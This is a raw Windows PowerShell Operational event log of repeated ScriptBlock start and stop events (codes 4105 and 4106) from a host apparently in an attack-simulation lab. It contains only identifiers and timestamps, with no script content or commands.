Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030859
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030857
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030856
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030840
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030839
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030834
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030833
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
